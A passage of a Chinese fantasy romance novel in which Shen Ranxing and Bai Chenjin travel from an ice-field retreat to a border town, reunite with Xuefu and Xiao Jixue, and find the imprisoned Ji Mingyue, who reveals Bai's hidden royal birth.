除了必要的外出和处理事务,他所有的精力都耗在了那永无止境的雕刻上。 因为她说过,若是想念,便刻一尊佛。 而他,无时无刻不在想她,所以那刻刀,也未能停歇过。 白尘烬本来只想看一眼,可看了之后,便挪不开视线了。 或许是他的视线太过专注、太过灼热,又或许是他思念太过强烈,屋顶上的她若有所感,缓缓转过头来。 她的目光越过庭院中的花木,一下子,就看到了高高冰墙上那道挺拔身影。 距离有些远,沈染星看不清他脸上的神情,只能看到他身姿挺拔如松,立在凛冽的风中,宽大的衣袍被风吹得紧贴在身上,勾勒出清瘦而坚实的轮廓,墨发飞扬,遗世独立又孤寂感。 沈染星认出是白尘烬,有些吃惊,便站起身来,举起双手,朝他挥手。 只是简简单单的一个动作,白尘烬却是看呆了。 看着她的热情招呼,在白尘烬脑海里,蹦出的第一想法是—— 她居然在动耶。 沈染星不知他的离谱想法,只是倍感疑惑。 他怎么会提前回来了? 随即又有些惊讶,他既然回来了,为什么只是站在那里,不进来?也不理会她? 难道是外面出了什么棘手的事情? 想到这里,她心中一急,也顾不上危险,连忙站起身,就想顺着梯子爬下去问个清楚。 她刚刚表现出要向下移动的意图,甚至还没来得及碰到梯子。 墙头上的那道身影便动了。 白尘烬的身影化作一道模糊的黑色流光,掠过冰冷的庭院。 沈染星只觉腰间一紧,一股熟悉而霸道的力量已然揽住了她腰。 下一刻,沈染星还未反应过来,双脚便稳稳地落在了地面上。 白尘烬去而复返,沈染星脸上瞬间绽开明媚的笑容,如同拨云见日,欣喜万分:“你不是说要离开一段时日吗?怎么这么快就回来了?” 白尘烬默然片刻,喉结微动。 他不想欺骗她,可若如实相告。 说自己是因为分不清现实与幻觉,被恐慌和思念折磨得力量失控,不得不半途折返…… 这听起来未免太过矫情。 然而,即便他尚未给出答案,只是看到他,沈染星也已经十分高兴了。 可是下一刻,她的笑容骤然凝固在脸上。 她低头,目光怔怔,落在自己沾染上血迹的手掌,面色倏地一变。 “你的皮肤又裂开了?”她急切地问,眉头紧蹙,“伤在哪儿了?严不严重?我帮你上药。” 这没什么好隐瞒的。 他定不住那颗因她而躁动不安的心,失控的力量便在他腰间,硬生生撕扯开了一道狰狞的口子。 白尘烬垂下眼睫,轻声道:“在腰侧。” “好,你别动。”沈染星说着,立刻拉住了他的手,将他往屋内引。 白尘烬顺从地坐在床榻边缘。 沈染星立在他身侧,微微低着头,解开他腰间的衣带与素帛,露出一道新鲜的伤口。 腰侧肌肤紧实苍白,裂口寸许长,边缘极不规则,仿佛是被无形的利爪强行撕开,皮肉微微外翻,深可见骨,暗红色的血液正从中缓慢渗出,与他雪白的肌肤形成触目惊心的对比。 伤口周围的皮肤下,还能看到幽蓝色的图腾蠕动,更添几分诡异。 沈染星看得心头一抽,连呼吸都放轻了。 她仔细清理完伤口,正准备涂抹药膏时,一抬头,却撞见白尘烬微微仰着头,闭着双眼,那被素帛遮掩的下颌线条似乎……透着一丝放松。 甚至可以说是享受。 沈染星动作一顿,将手中玉肌生瓷盒放回旁边的矮几上,奇怪地看向他:“你该不会是为了让我帮你包扎,故意弄伤自己的吧?” 这行为,他绝对做得出来。 白尘烬闻言,缓缓睁开眼。 他的目光落在她沾染了自己血迹的指尖、掌心,甚至衣袖那点点醒目的红痕上,有种野兽标记领地般的快感。 这么做,似乎也不错。 沈染星见他死不悔改,杏眼瞪得圆圆的。 他喉间溢出一声低哑的轻笑,否认道:“不是。” 这一次不是。 沈染星皱紧了眉头,警告:“不是就好,如果你真的为了这种无聊的理由故意伤害自己,那我下次,就真的不管你了。” 这一点都不无聊,白尘烬想。 不过,见她似乎真打算说到做到,会不管他,他还是点了头。 随后,撩起眼皮,看见她因自己而恼怒,白尘烬觉得,此刻的自己像极了传说中的凶兽饕餮,贪婪地以她的情绪为食,胃口大得惊人,怎么都餍足不了。 突然间,他想再看看她欣喜的模样,就像方才在屋顶,她回头看到他时,那双瞬间被点亮的眼眸。 于是他随口道:“不如我带你离开这里。” 话一出口,他自己就先愣住了,随即涌上强烈的悔意。 他甚至荒谬地怀疑,沈染星是不是在那药膏里,给他下了什么迷魂的蛊毒,不然他怎么会如此轻易地主动提出要放她离开? 沈染星也察觉到他那一瞬间的怔忪,还有眼底闪过的懊悔。 顿时明白那话,或许只是他一时情绪波动下的口误。 但她怎么可能放过这个千载难逢的机会? “好啊!”她立刻应了下来,声音因激动而微微拔高,“我们什么时候上路?现在吗?还是需要准备一下?” 她反应迅速,情绪转换鲜明。 白尘烬那句几乎要冲口而出的,收回前言的话,硬生生卡在了喉咙里。 沈染星眼睛亮晶晶,唇角上扬,露出一点点洁白的贝齿,整个人仿佛被注入了无限的活力,连周遭的空气都因她的喜悦而变得明媚起来。 白尘烬的心剧烈跳动起来,缓了半晌,才堪堪回过神来,垂下眼帘。 第93章 真的是你 ……也罢。 白尘烬在心中无声地叹了口气。 看着此刻的她, 心中的饕餮,居然生出了一种饱足的,懒洋洋的惬意来。 面对她,他似乎总是一败涂地。 他垂下眼眸, 淡淡地应了一声:“待你准备好, 便可启程。” 出乎意料的, 白尘烬原以为,至少能凭借身上这道骇人的伤口,再换她两日温存, 缓两日再出发。 谁知这没心肝的小女子, 第二日便收拾好了行囊。 顺带把他的也收拾好了…… 还准备了厚实的棉服, 雪靴,方方面面安排得极为妥当。 主打一个归心似箭。 他去指使那些雾气凝聚的仆从准备行程。 再回来时,便见她端端正正,坐在两个收拾得利落妥帖的行囊旁,一见他进门, 立刻仰起脸, 期待地看着他。 真是…… 拿她一点办法也没有。 白尘烬心下微软, 又有些气闷, 上前一把提起行囊,另一只手牵起她的手。 “走了。” 沈染星却脚下生根似的,钉在原地,指了指里间:“等等,保暖的衣物没拿。” 白尘烬长臂一伸, 直接揽过她的肩头,将人半圈在怀里,带着往外走。 他声音低沉:“有我在, 冻不着你。” 沈染星恍然,侧头看他。 也是,他能以自身力量维持这一院春日,暖她一人,自然是轻而易举。 这点认知,安抚了她因即将踏入冰天雪地,而生出的些许忐忑,顺从地跟着他来到别院门外。 然后,她看着眼前的“座驾”…… 彻底傻眼了。 她设想过于奇百怪的雪橇,或是什么神异的妖兽车架,却万万没想到,竟是一顶轿子。 那轿子约有寻常床榻大小,四面无壁,唯有数道殷红如血的长绸,从顶盖四周垂落,在风中无声飘荡。 轿身材质不错,却结构简易,像是临时做出来的。 雾人静立两侧,身形模糊,没有面孔,但沈染星知道到他们的职责所在。 它们是轿夫,一共八名…… 居然还是八抬大轿。 白尘烬上前,随手撩开一道遮挡的红绸,将行囊扔了进去。 随即侧身示意她:“进去。” 沈染星低头,踏入这顶轿中。 轿内别有洞天。 脚下铺着厚厚的雪白绒毯,柔软异常,中间设有一张固定的矮几,几上置着一套紫砂茶具并几碟精致的点心。 一侧是铺着软垫的榻,可供倚靠休憩,另一侧甚至摆放着几卷书册和一张小巧的七弦琴。 俨然一个设施齐全,温暖舒适的移动小天地。 沈染星莫名有种外出郊游的兴奋感。 小时候,她只能眼巴巴看着别人成群结队地去,想不到,她也有这么一日。 沈染星像只发现了新奇玩具的猫儿,在轿子里这里摸摸,那里碰碰,眼睛亮晶晶的,满是纯粹的兴奋。 白尘烬起初不解,只由着她闹腾。 直到过了一日,他才发现,沈染星的欢欣并非源于回去本身,更像是因他准备的这顶轿子而起。 他心一动,便伸手,一把将正扒着红绸朝外张望的人儿扯进怀里。 在她惊讶的轻呼中,低头便吻了上去。 这个吻不似以往的霸道强势,反而带着几分的温柔,细细碾过她的唇瓣。 沈染星被他唬了一跳,轻轻挣开他。 温柔太过,过到让人觉得失了常。 “你这是怎么了?”她问。 白尘烬抚着她的脸,低低笑出声来。 沈染星狐疑地看着他。 这人,怎么还笑得花枝招展的? 白尘烬掌心托住她后脑勺,与她额心相抵:“只是心中欢喜罢了。” …… 八名雾人抬着的殷红轿子,在苍茫无垠的雪原中稳稳前行,红绸在凛风中猎猎飘飞,舞动,成为天地间唯一一抹红色,浓烈到几乎刺眼。 轿内却自成一方温暖静谧的小天地。 寒风与酷雪被无形的力量彻底隔绝在外,暖意融融,只余矮几上茶香袅袅。 沈染星大多时候慵懒地倚靠在铺着厚厚软垫的榻上,透过红绸摇曳的缝隙,看着外面飞速倒退的冰雪世界,群山寂寂,偶尔有耐寒的飞鸟掠过,留下孤影。 兴致来时,白尘烬便盘腿坐着,身姿端正,拨动那架七弦琴。 琴声淙淙,空灵而奇异,与这雪原,红轿诡异地和谐。 这几日下来,唯一让沈染星感到挫败的,便是下棋。 她、从、来、没、赢、过! 白尘烬简直就是一台无情的围棋机器,计算精准,杀伐果断。 任凭她如何绞尽脑汁,迂回设陷,他总能轻而易举地识破,并将她杀得片甲不留! 最可气的是,他丝毫不知退让为何物,甚至对她气鼓鼓的模样视而不见,杀她个七进七出。 对将她大杀四方此事,更是表现出异乎寻常的上瘾! 有时候,沈染星捻着棋子,咬牙切齿地看着棋盘上自己又一次濒临崩溃的局势,严重怀疑,这人根本不是在玩棋,而是在玩她! 这日,毫无悬念地,沈染星又又又输了。 看着棋盘上自己被吃得七零八落的白子,她终于恼了,将手中剩余的棋子往棋罐里一扔,随即气呼呼地翻身倒在软榻上,用后背对着他。 一副不想再理他的模样。 白尘烬看着浓浓怨念的背影,非但不恼,眼角反而荡气一抹笑意。 他倾身过去,自后环住她,将她纤细的身子圈进怀里,微凉的唇贴在她敏感的后颈上,落下细密而缠绵的亲吻,声音带着一丝慵懒的沙哑:“快到边镇了。” 沈染星耳朵动了动,却没转身。 他继续道:“到时需要换一辆马车,这轿子太惹眼了。” 听到这话,沈染星才忍不住坐起身,顺着他示意的方向,透过飘飞的红绸朝远处望去。 果然,在视线的尽头,那片亘古不变的纯白之间,已经能看到连绵山峦的轮廓,并且在那山脊之上,隐约点缀着些许稀薄的绿意- 这个镇子不大,街道却人声鼎沸,,烟火气十足与极寒别院的死寂,形成了鲜明对比。 街市上行人衣着寻常,与方圆镇光怪陆离的景象大不相同。 沈染星一袭鹅黄衣裙,立在一个卖首饰的摊子前,白尘烬就站在她身侧,虽未刻意动作,却总在人群拥挤时,不着痕迹,用身体为她隔出一小方安稳空间。 一支簪子老远便吸引了她的目光。 它通体晶透,呈现出一种极淡的蓝色,材质非玉非石,更像是用万年寒冰精心雕琢而成,在日光下流转着清冷剔透的光泽。 她觉得,这冷硬又纯净的感觉,与身侧之人莫名相配。 摊主见她有兴致,连忙热情推荐。 沈染星拿起簪子,转头看向白尘烬,笑道:“这个和你很相配啊。” 她眼眸含笑,日光映亮侧脸,看起来分外柔和灵动。 白尘烬专注地看着她,连眼风都没扫那簪子一下,便点头:“嗯。” 沈染星嗔道:“你看都不看,嗯什么嗯。” 他唇角勾起一抹淡淡的弧度,声音低沉而坦然:“你喜欢的我都喜欢。” 大庭广众之下,他一本正经,说出这般爱屋及乌的言论。 沈染星蓦地老脸一红,心跳漏了一拍。 随即,她猛地一怔。 一股熟悉感毫无预兆地席卷而来。 她垂眼,看着手中冰蓝色的簪子,又瞥见自己鹅黄色的衣袖…… 心跳骤然失序,咚咚作响,几乎要撞出胸腔。 这个场景…… 分明是她从前在那些光怪陆离的梦境中见过的。 只是梦里,站在他身边那个模糊的身影,此刻清晰无比,竟然就是她自己! 在她震惊之际,白尘烬瞥向了街角某处,眼神冷了一瞬。 再次低下头,才瞧见她怔愣失神的模样:“怎么了?不舒服吗?” 沈染星强行压下心头的惊涛骇浪,摇头:“没有。” “那我们回去吧,”他接过她手中的簪子,指腹摩挲过冰凉的簪身,“你帮我簪发。” 沈染星笑道:“你就那么着急?” 白尘烬学着她方才的语气:“嗯,就那么着急。” 他将她送回客栈,当真缠着她,让她用那支新买的冰蓝簪子,为他重新挽好了发髻。 随后,他便称有事要处理,不见了踪影。 闲来无事,沈染星倚靠在客栈窗边,看着楼下街道人来人往。 在那个鸟不拉屎的冰原困了太久,此刻连看这些寻常百姓走来走去,都觉得颇有生趣。 就在她看得出神之际,一道白色的身影蓦然闯入视线,穿过熙攘人群,转瞬即逝。 沈染星陡然直起了背脊。 那人戴着垂纱斗笠,全身素白,身姿挺拔,步履间带着一种与周遭格格不入的清冷孤绝。 尽管看不清面容,沈染星心头却猛地一跳。 那身影…… 怎地那样像雪拂。 可这里离方圆镇还有七八日路程,雪拂理应留在共生苑,替她镇住那一院子的妖,怎么会出现在此地? 她按下心中的惊疑,告诉自己多半是看错了。 雪拂不会在这里。 然而,那个念头一旦升起,便再也无法忽视。 如果……真的是他呢? 他如此反常地出现在远离共生苑的地方,形迹匆忙,只可能意味着一件事—— 共生苑,出事了! 一想到这个可能,沈染星再也坐不住了。 她立刻铺纸研墨,给白尘烬留了张字条,简单说明情况与去向,便匆匆出了客栈门。 她在拥挤的人潮中穿梭,目光急切地搜寻,却再也找不到那道白色身影。 她只能凭着记忆里他消失的方向一路寻去,逢人便比划着描述。好在那人气质独特惹眼,倒也有路人注意到,为她指了方向。 她顺着指引越走越偏。 周围行人渐渐稀少,房屋也变得低矮破败,沈染星突然停住了脚步,警惕地看向四周。 如今时局动荡,而眼前的街道岔口人烟稀少…… 还是不可太过冒险。 她叹了口气,准备放弃,先行返回客栈再做打算。 不料,才一转身,眼前白影一闪。 随即,一股威压轰然降临,沉重如山岳般。 沈染星只觉得心口一闷,呼吸都滞涩了几分,周遭的空气仿佛瞬间凝固。 眼前,那白衣人戴着斗笠,遮去了大半张脸,冷冷道: “你为何跟着我。” 语调虽然冷硬陌生,可这清越的音色…… 分明就是雪拂! 只是他周身的气息,却与平日那种空灵闲散截然不同,带着一种凛冽的锋芒。 “雪拂?” 沈染星迟疑地开口。 身前的人明显顿了一下,他抬手,顶起斗笠,露出一张惊艳绝伦的脸来。 他愣愣地看着沈染星,片刻后,眼底翻涌着难以置信与巨大的震惊,声音微哑:“东家……?” 沈染星见他认出自己,心中稍定,急忙上前一步:“你怎么会在这里?” 雪拂却轻皱了一下眉头,后退一步,刚刚松懈几分的警戒瞬间再次提起,甚至比之前更甚。 沈染星疑惑不解:“你这是做什么?你不是已经认出我来了吗?” “你真的是她?” “什么你的她的,就是我啊!” 雪拂突然朝她逼近,抬手便要触碰她的脸颊。 他从前就总是这般缺乏人与人之间的安全距离,沈染星习惯性地侧头避开,同时抬手隔开他的手腕:“有话好好说,别动手动脚的。” 这个下意识带着些许嗔怪的反应,让雪拂整个人彻底僵住。 他猛地再次伸手,这次速度极快,指尖捏住了沈染星的脸颊,触感温热真实。 他声音都带着颤意:“东家……真的是你。” 沈染星吃痛,拍开他的手:“你怎么还是屡教不改啊!都说了别动手动脚的!” 她揉着自己被捏痛的脸颊,一抬头,却撞见雪拂那双总是清冷的眼眸,此刻泛起了淡淡的红晕。 他肌肤本就白得近乎透明,此刻眼眶微红,配上那惊心动魄的容颜,更显得脆弱可怜,仿佛承受了天大的委屈。 沈染星心中猛地一沉,抓住他的衣袖,急声问道:“出什么事了?” 第94章 她情况不太好 店小二将一壶粗茶并两只陶碗, 放在木桌上,便躬身退下了。 简陋的茶肆里,人声嘈杂,反而成了他们谈话最好的掩护。 沈染星执起茶壶, 为雪拂和自己各倒了一碗。 茶水浑浊, 热气袅袅, 她听完雪拂简略的叙述,心中五味杂陈。 原来共生苑本身并无大碍,出事的, 是纪明月。 在沈染星陷入昏迷, 外界天翻地覆的那段时日里, 纪明月选择了离开共生苑,重新回到了国师麾下,为其效力。 在她离开之前,雪拂几度阻拦,然而她心意已决, 两人之间爆发了激烈的争吵, 最终不欢而散, 自此桥归桥, 路归路,再无瓜葛。 沈染星捧着微烫的陶碗,指尖却有些发凉。 她想起纪明月那双总是带着坚韧与隐忍的眼睛,想起她与雪拂之间那剪不断理还乱的纠葛。 她忍不住问道:“其中会不会有什么误会?或许明月她,有不得已的苦衷?” 雪拂闻言, 扯了扯嘴角,露出一抹嘲弄的笑。 他单手支颐,另一只手无意识地转动着粗糙的陶碗, 姿态轻松惬意,眼神却飘向窗外熙攘的街道,没有焦点。 “我们之间,哪有什么误会,”他声音很轻,“只不过都是心知肚明的粉饰太平罢了。” 沈染星沉默下来。 她明白雪拂话中的含义。 她深知雪拂身为妖族一方王者,骨子里是何等骄傲,却对纪明月一再破例,给予了超乎想象的包容。 即便后来,知晓纪明月最初的接近他,是别有目的的,即便被纪明月亲手剖了妖丹,甚至困于流芳阁的遭遇,也可能有纪明月的推波助澜…… 他最终都选择了原谅。 他想要的,不过是与她一同偏安于共生苑那一方天地,不问纷扰,不念前尘。 这份包容,近乎卑微。 可到头来,不过也是一番争吵,一别两宽。 “那你怎么会在这里?”沈染星换了个问题。 雪拂垂眸,睫毛长而密,在眼下投下一小片阴影:“我来救人。” “救人?” 沈染星心中一动,一个名字呼之欲出。 雪拂抬眼,对上她探究的目光,坦然道:“除了她,还有谁值得我亲自跑这一趟?” 沈染星一时不知该作何表情,只得叹道:“你上辈子是欠了她多少条命啊?这辈子要这样还。” 雪拂似乎被她的说法逗乐了,唇角弯起一个浅淡的弧度,自嘲地开玩笑道:“九条吧。” 他顿了顿,声音低了下去,带着一丝不易察觉的决绝,“这是最后一条了,还完,我就要离开了。” “离开?去哪里?” “回我的青陵去。” 沈染星几乎是脱口而出:“那我的共生苑怎么办?” 雪拂瞬间瞪大了眼睛,一副不敢置信的模样。 他咬牙切齿道:“东家!你还有没有良心!我都这般凄风苦雨,为情所困了,你心里还只惦记着你那破妖苑!” 他语气愤愤,可看着许久不见的人儿,语气不自觉缓了下来:“再说了,和你刚认识那会儿,我便同你说过,这事,找你那相好的去,他本事大得很,镇个妖苑绰绰有余。” 经历了这许多,沈染星自然知道白尘烬绝非寻常人物,他身份也多有疑点。 只是眼下,那些都不是重点,她也自认还不是刨根问底的最佳时机。 她看着雪拂,收敛了玩笑的神色,认真道:“我的意思是,若你在青陵待腻了,想回来看看,共生苑里,永远有你的位置。” 雪拂微微一怔,随即有些不自然地撇开眼,望向窗外。 半晌,他才道:“哼,你们人类,总是这样口蜜腹剑。” 茶碗中的热气渐渐稀薄,沈染星收拢杂乱的思绪。 她身体微微前倾,压低声音问道:“明月具体是出了什么事?她现在人在哪里?你原本打算怎么救?” 雪拂定定地看着沈染星,慢悠悠道:“她在萧霁雪手上。” 接下来雪拂的叙述,拼凑出了事件的大致轮廓。 萧霁雪此前遭遇坠崖险境,纪明月正是那场阴谋的主使者。 纪明月曾背叛过国师,又与沈染星交好,以此成功获取了萧霁雪的信任。 萧霁雪应邀,前去与她会面。 不料会面途中突然杀出大批刺客,萧霁雪在围攻下边战边退,最终坠落山崖。 雪拂突然沉了声:“萧霁雪身边,跟着一头脾气暴躁的龙妖,对她极为在意。” 沈染星点头。 没错,那就是原书男主墨临渊。 雪拂:“如今明月落在他们手里,恐怕讨不着好处。” 沈染星听着,总觉得有哪里说不出的怪异。 为何萧霁雪会因为纪明月与自己交好,就如此轻易地上钩? 这信任来得有些突兀。 旋即,她又想到了捉到了关键信息:“等等……你来救明月,明月就在这个镇子里,萧霁雪抓了明月,所以……” 她猛地抬头,眼中满是难以置信:“萧霁雪本人也在这里?” 雪拂慢悠悠地抬起眼帘,似乎对她的后知后觉有些意外:“你不知道?” 沈染星茫然摇头。 她刚从与世隔绝的冰原别院出来,对外界局势的了解,仅限于秦昭那日的简要叙述,如何能知晓萧霁雪的具体行踪? “有传言说你醒过来了,”雪拂解释道,“明月或许是想要来找你,才冒险来到了这里。” 这个消息让沈染星更加惊讶。 纪明月既然已经选择撕破脸,重新为国师效力,为何还要来找自己? 雪拂似乎看穿了她的疑惑,却也无法给出答案,只是继续道:“而萧霁雪,料到了明月会因你而来,所以在此处布下人手,守株待兔,果然,抓住了明月。” 沈染星忍不住扶额吐槽:“我是一个什么非常优质的好鱼饵吗?怎么一个两个,都因我而上钩落网……” 先是萧霁雪因这层关系信了明月,如今明月,又因这层关系被萧霁雪所擒。 还是回合制的…… 雪拂沉默了片刻:“……是。” 沈染星无奈:“好吧,不说这些了。你原本的计划是什么?现在又打算怎么做?” 雪拂道:“我原先打算寻机潜入他们落脚之处,悄悄将人救出来。不过,如今你回来了,或许我们可以换个方式,你可以直接去找萧霁雪交涉。” 沈染星略一思忖,觉得此法可行。 无论如何,萧霁雪并非蛮不讲理之人,先探探口风,了解她的意图和条件,总比直接硬碰硬,激化矛盾要好。 于是,她点头同意:“好,我跟你去。” 两人离开茶肆,穿过依旧熙攘的街道,来到城镇中心颇为气派的衙门附近。 萧霁雪一行人目前便下榻于此,纪明月也被关押在此地。 然而,沈染星万万没想到,他们刚刚靠近衙门所在的街口,还未来得及思考如何通传求见,她便在不远处街角处,看到了一道无比熟悉的身影。 那人身姿挺拔,玄色衣袍在微风中拂动,墨发用一支冰蓝色的簪子利落挽起,仅仅是静立不动的背影,也透着一股生人勿近的孤冷气息。 不是白尘烬又是谁? 他怎么会在这里? 沈染星下意识地快步走上前去:“尘烬……” 然而,仅仅叫出了名字,后面的话语便戛然而止,硬生生卡在了喉咙里。 白尘烬听到了她的声音,身形微顿,侧身看了过来。 转身的刹那,原本被他身形遮挡住的另一个人,便露了出来。 那人穿着一身素雅的月白常服,身形清瘦,气质如玉,面容带着几分病态的苍白,却依旧难掩其眉宇间的清冽与坚韧。 赫然正是他们此行想要寻找的目标,萧霁雪。 白尘烬与萧霁雪,情理之中,又意料之外的,此刻竟在这人来人往的街角,平静地站在一处。 沈染星的脚步顿在了原地。 萧霁雪也愣住了,微微睁大了眼睛,脸上写满了难以置信,甚至下意识地抬手指着沈染星,唇瓣翕动了几下,半晌都没能吐出一个完整的字来。 显然,对方的激动程度,远在她之上。 白尘烬已转身朝她走来:“你怎么过来了?” “我是来找她的。”沈染星目光越过他,直直望向那个萧医生有八分相似的女子,回答道。 她话音未落,白尘烬撩她碎发的手指便顿住了。 温柔顷刻褪去,一双灰蓝色眸子,肉眼可见的速度沉冷下来,周遭的空气都仿佛凝滞了几分。 “就这般着急?”他声音低沉,“一刻也等不住了?” 他这话冷冰冰的,冰得沈染星从最初的错愕中,彻底回过神来。 他偷偷摸摸来见萧霁雪,她还没兴师问罪呢! 他居然先下手为强,倒打一耙了? 一股无名火“噌”地窜上心头,沈染星气得感觉头发都快竖起来了,也顾不上什么场合,抬手指着已走近的萧霁雪:“你不也来见人家了,为什么你可以见,我不可以见?” “我不见也可以,”白尘烬几乎是立刻接口,“你也不许见。” “我可是有正事!”沈染星强调。 “有正事也不许见。”他半步不让。 “凭什么你说不许见就不许见!” “就是不许见。” 两人你来我往,谁也不退让。 萧霁雪在白尘烬走过来时,便也跟了过来,本想开口,却压根找不到插话的间隙。 她站在一旁,看着眼前这超乎想象的一幕,惊讶极了。 她认识白尘烬十几年,从他还是年少时起,他便已是那副冷情寡言,心思深沉的性子,何曾见过他如此……幼稚且蛮不讲理的一面? 听说,人只有在真正在意的人面前,才会褪去所有伪装,显露出近乎孩子气的一面。 如今一看,传言果真不虚。 眼见这两人争执愈烈,大有不欢而散,日后真老死不与……她相往来的趋势。 萧霁雪连忙在侧旁,虚虚地举了下手: “那个……我可以说一下话吗?” 沈染星正被白尘烬气得够呛,闻言,立刻一手按在他手臂上,用眼神示意他闭嘴,然后转头看向萧霁雪,语气缓了些:“说。” 萧霁雪暗暗吞咽了一下,顶着白尘烬冰冷刺骨的视线,语速加快:“其实,他见不见我,无所谓。” 沈染星眨巴眨巴眼,静静听着。 白尘烬身形一动,想要挡住两人,沈染星扯住了他,给萧霁雪说话的时间。 霁雪忙道,颇有告状意味:“但是我想见你,只是他一直挡住我,不让我见你,从前是这般,如今还是这般。” 这话一出,沈染星愕然,而白尘烬的脸色瞬间黑得能滴出水来。 沈染星看向白尘烬:“所以你今天来这里,是要挡住我们两个见面?” 白尘烬还没回话,萧霁雪在一旁小声嘟囔:“不只是挡,是威胁人,如果我敢去找你,他再也不帮我们清理那些被控制的妖……” 在白尘烬的阴冷的视线下,萧霁雪越说越小声。 沈染星无论如何也想不到,白尘烬会做出这种行径。 她向白尘烬投去确认的目光。 然而,白尘烬却微微侧过头,避开了她的视线。更让她意外的是,他那张惯常没什么表情的脸上,竟罕见看出了不自然,甚至……有点像是心虚。 沈染星眉峰一挑。 心底那点怒气忽然掺进了些许好气又好笑的感觉。 他也知道这样做不对啊? 甚至,回溯过往,他们之间许多关于萧霁雪的误会与隔阂,追根溯源,几乎都与他这种不愿解释,甚至暗中阻挠的别扭行为脱不开干系! 她憋了好半晌,终于忍不住,问道:“白尘烬,你脑子里面,一天到晚到底想的是什么啊?” 白尘烬这下倒坦坦荡荡,理直气壮了,立即便突出了一个字: “你。” 这掷地有声的回答,让一旁的萧霁雪猛地倒吸了一口凉气,极其有眼力见地,立刻挪开视线,抬头望天,假装研究屋檐的纹路,只是身姿略略尴尬与不自在。 沈染星再次被他这大庭广众之下,不分场合,散发浓烈恋爱酸臭味噎得一时语塞,脸颊微热,对他这种理直气壮的无赖行径,是完全没了法子。 气氛正微妙,一侧看够了戏的雪拂,终于慢悠悠地踱步上前: “东家。” 这一声提醒,沈染星这才想起来,是了,她还有正事要办! 纪明月还在萧霁雪手上。 虽然依萧霁雪的为人,纪明月在她手上暂时应无性命之忧,但终究要尽快解决。 沈染星重新看向萧霁雪,正色问道:“明月……是不是在你手上?” 萧霁雪也立刻从方才的尴尬中抽离,点了点头。只是她的脸色随之沉凝下来,眉宇间笼罩上一层阴霾,仿佛提到了什么棘手的事情。 萧霁雪点头,脸色一下子沉凝下来。 沈染星见她这般神色,心里一咯噔。 果然,萧霁雪道:“是,不过,她情况不太好。” 第95章 她突然……不想死了。…… 地牢里, 潮湿的霉味和淡淡的血腥气弥漫着,火把悬挂在石壁上,跳动不定,将人影拉得忽长忽短, 更添几分阴森。 沈染星跟在萧霁雪身后, 踩着冰凉的石阶, 向下走。 脚步声在幽闭的空间里回荡。 据萧霁雪解释,她急于找到沈染星,是因为纪明月咬死了, 只有见到沈染星本人, 才愿意交代国师那边的关键信息。 萧霁雪甚至已做好了冒险深入冰原寻人的准备, 却万万没料到,竟会在这个边陲小镇与沈染星意外相遇。 只是她几次试图联系,都被白尘烬毫不留情地挡了回来…… 本以为还需费一番周折,谁曾想,沈染星又自己找上门来了。 萧霁雪听闻沈染星想见纪明月, 二话不说, 亲自引路。 只是纪明月坚持只肯见沈染星一人。 沈染星好说歹说, 几乎用上了哄孩子的耐心, 才将面色不虞的白尘烬暂且安抚在外,独自随萧霁雪踏入这阴冷之地。 越往里走,光线越发昏暗,空气也愈发滞闷。 直到走到最深处的一间牢房前,借着栅栏外微弱的火光, 沈染星才看清里面蜷缩着的一道身影。 那身影异常瘦小,裹在脏污不堪的衣物里,几乎与身下的干草融为一体, 一动不动,了无生气。 似是听到了脚步声,那身影缓慢抬起头。 火光映照在那张脸上的一刹那,沈染星呼吸一窒,惊得后退了半步。 那是纪明月,却又完全不是她记忆中的模样。 原本乌黑如瀑的长发,此刻竟变得一片雪白,凌乱地披散着,衬得她毫无血色的脸更加苍白如纸。 她的衣衫破损多处,上面沾染着早已干涸发黑的血迹,有些伤口甚至还在隐隐渗着血丝,整个人狼狈脆弱,仿佛一碰即碎。 沈染星心头一紧,猛地转头看向萧霁雪:“你们对她用刑了?” 萧霁雪立刻摇头:“我们找到她时,她便是这副模样。她似乎也在被人追杀,伤势不轻。而且她极其抗拒我们的靠近,情绪激动时甚至会自残,我们担心逼得太紧会适得其反,所以她身上的伤……也只能暂时这么放着。” 沈染星闻言,低声道:“嗯,多谢。” 萧霁雪有些意外地看了她一眼。 纪明月是国师派来的卧底,险些害她性命,此刻她听到自己有意为明月处理伤口,第一反应竟是道谢? 牢房内的纪明月似乎耗尽了力气,只是勉强用手臂支撑着身体,虚弱地靠坐在冰冷的石壁上,连抬头都显得十分吃力。 萧霁雪见状,识趣道:“我到门口去等着,有事你唤一声便好。” 沈染星点头:“好,谢谢。” 待萧霁雪的脚步声远去,消失在甬道尽头。 牢房里陷入一片死寂,只剩下火把,偶尔发出的噼啪轻响。 过了许久,纪明月才转过头。 她看向栅栏外的沈染星,嘴唇翕动,发出的声音沙哑干涩,几乎分辨不出原本的清越:“东……家……” 不知为何,仅仅只是听到这两个字,沈染星的眼眶便猛地一热。 她蹲下身,视线与明月齐平,尽量让自己的声音听起来平稳温和:“我先找人进来,给你处理一下伤口。” 纪明月却缓缓摇了摇头,眼神空洞地望着虚空中的某一点,轻声道:“他们……治不了我。” “什么意思?” 然而纪明月并未回答这个问题,她涣散的目光重新聚焦,看向沈染星:“你听我说,白尘烬他是当今皇上的三皇子。” 沈染星一怔,下意识反驳:“不可能,当今皇上只有两位皇子,皆是皇后所出……” 她脑中瞬间闪过某些话本里常见的桥段,惊疑道,“难道是……宫外的……” “不是私生子。” 纪明月打断她的猜测。 事情,远比沈染星想象的,要更为复杂曲折。 “皇后的血统……有些特殊,白尘烬天生便带有无法掩盖的异常。皇上为了保护皇后,也为了皇室声誉,并未承认这个孩子的身份,甚至对外宣称,只是见孩子可爱,抱入宫中给皇后解闷的养子。” 沈染星听得心惊,忍不住追问:“你为什么要突然告诉我这些?” 纪明月扯了扯嘴角:“我不想你一直被蒙在鼓里。” 沈染星看着她满身的伤和那刺目的白发,心中的不安越来越强烈:“明月,你到底出了什么事?你身上的伤,还有你的头发……” 纪明月再次避而不答,只是继续自顾自道:“后来,国师发现了白尘烬那双眼睛的独特之处……他能看见常人无法窥见的妖气。可那时他不过三四岁稚龄,国师担心将他留在身边,迟早会暴露自己依靠吸食妖丹增长实力的秘密……” 一旦这个秘密被揭开,顺藤摸瓜,他多年来暗中挑拨人妖两族关系,制造对立与厮杀的罪行,也必将大白于天下。 正是他为了一己私欲,策划了无数阴谋,一步步将原本尚算和睦的两族,推向了如今不死不休的战争边缘。 沈染星虽从原著中知晓国师是这一切的幕后黑手,却万万没想到,白尘烬自幼年起的坎坷命运,竟也与此紧密相关。 